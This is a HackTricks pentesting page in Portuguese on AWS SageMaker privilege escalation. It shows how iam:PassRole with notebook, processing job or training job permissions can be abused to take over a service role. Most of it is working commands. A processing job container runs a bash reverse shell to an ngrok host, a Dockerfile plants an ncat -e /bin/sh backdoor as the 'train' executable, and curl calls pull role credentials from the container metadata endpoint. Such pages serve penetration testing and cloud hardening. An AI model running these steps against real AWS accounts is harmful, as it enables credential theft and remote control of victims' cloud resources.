AWS - Sagemaker Privesc

AWS - Sagemaker Privesc

Support HackTricks

iam:PassRole, sagemaker:CreateNotebookInstance, sagemaker:CreatePresignedNotebookInstanceUrl

Comece a criar um notebook com a função IAM para acessar anexada a ele:

aws sagemaker create-notebook-instance --notebook-instance-name example \
--instance-type ml.t2.medium \
--role-arn arn:aws:iam::<account-id>:role/service-role/<role-name>

A resposta deve conter um campo NotebookInstanceArn, que conterá o ARN da nova instância de notebook criada. Podemos então usar a API create-presigned-notebook-instance-url para gerar uma URL que podemos usar para acessar a instância de notebook assim que estiver pronta:

aws sagemaker create-presigned-notebook-instance-url \
--notebook-instance-name <name>

Navegue até a URL com o navegador e clique em `Open JupyterLab` no canto superior direito, em seguida, role para baixo até a aba “Launcher” e, na seção “Other”, clique no botão “Terminal”.

Agora é possível acessar as credenciais de metadados da IAM Role.

Impacto Potencial: Privesc para o papel de serviço sagemaker especificado.

sagemaker:CreatePresignedNotebookInstanceUrl

Se houver notebooks Jupyter já em execução nele e você puder listá-los com sagemaker:ListNotebookInstances (ou descobri-los de qualquer outra forma). Você pode gerar uma URL para eles, acessá-los e roubar as credenciais conforme indicado na técnica anterior.

aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name <name>

Impacto Potencial: Privesc para o papel de serviço sagemaker anexado.

sagemaker:CreateProcessingJob,iam:PassRole

Um atacante com essas permissões pode fazer sagemaker executar um processingjob com um papel sagemaker anexado a ele. O atacante pode indicar a definição do contêiner que será executado em uma instância de conta ECS gerenciada pela AWS, e roubar as credenciais do papel IAM anexado.

# I uploaded a python docker image to the ECR
aws sagemaker create-processing-job \
--processing-job-name privescjob \
--processing-resources '{"ClusterConfig": {"InstanceCount": 1,"InstanceType": "ml.t3.medium","VolumeSizeInGB": 50}}' \
--app-specification "{\"ImageUri\":\"<id>.dkr.ecr.eu-west-1.amazonaws.com/python\",\"ContainerEntrypoint\":[\"sh\", \"-c\"],\"ContainerArguments\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/14920 0>&1\\\"\"]}" \
--role-arn <sagemaker-arn-role>

# In my tests it took 10min to receive the shell
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" #To get the creds

Impacto Potencial: Privesc para o papel de serviço sagemaker especificado.

sagemaker:CreateTrainingJob, iam:PassRole

Um atacante com essas permissões será capaz de criar um trabalho de treinamento, executando um contêiner arbitrário nele com um papel anexado. Portanto, o atacante será capaz de roubar as credenciais do papel.

Este cenário é mais difícil de explorar do que o anterior porque você precisa gerar uma imagem Docker que enviará o rev shell ou credenciais diretamente para o atacante (você não pode indicar um comando inicial na configuração do trabalho de treinamento).

# Create docker image
mkdir /tmp/rev
## Note that the trainning job is going to call an executable called "train"
## That's why I'm putting the rev shell in /bin/train
## Set the values of <YOUR-IP-OR-DOMAIN> and <YOUR-PORT>
cat > /tmp/rev/Dockerfile <<EOF
FROM ubuntu
RUN apt update && apt install -y ncat curl
RUN printf '#!/bin/bash\nncat <YOUR-IP-OR-DOMAIN> <YOUR-PORT> -e /bin/sh' > /bin/train
RUN chmod +x /bin/train
CMD ncat <YOUR-IP-OR-DOMAIN> <YOUR-PORT> -e /bin/sh
EOF

cd /tmp/rev
sudo docker build . -t reverseshell

# Upload it to ECR
sudo docker login -u AWS -p $(aws ecr get-login-password --region <region>) <id>.dkr.ecr.<region>.amazonaws.com/<repo>
sudo docker tag reverseshell:latest <account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell:latest
sudo docker push <account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell:latest
# Create trainning job with the docker image created
aws sagemaker create-training-job \
--training-job-name privescjob \
--resource-config '{"InstanceCount": 1,"InstanceType": "ml.m4.4xlarge","VolumeSizeInGB": 50}' \
--algorithm-specification '{"TrainingImage":"<account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell", "TrainingInputMode": "Pipe"}' \
--role-arn <role-arn> \
--output-data-config '{"S3OutputPath": "s3://<bucket>"}' \
--stopping-condition '{"MaxRuntimeInSeconds": 600}'

#To get the creds
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
## Creds env var value example:/v2/credentials/proxy-f00b92a68b7de043f800bd0cca4d3f84517a19c52b3dd1a54a37c1eca040af38-customer

Impacto Potencial: Privesc para o papel de serviço sagemaker especificado.

sagemaker:CreateHyperParameterTuningJob, iam:PassRole

Um atacante com essas permissões poderá (potencialmente) criar um trabalho de treinamento de hiperparâmetros, executando um contêiner arbitrário nele com um papel anexado. Eu não explorei devido à falta de tempo, mas parece semelhante às explorações anteriores, sinta-se à vontade para enviar um PR com os detalhes da exploração.

Referências

Support HackTricks

Last updated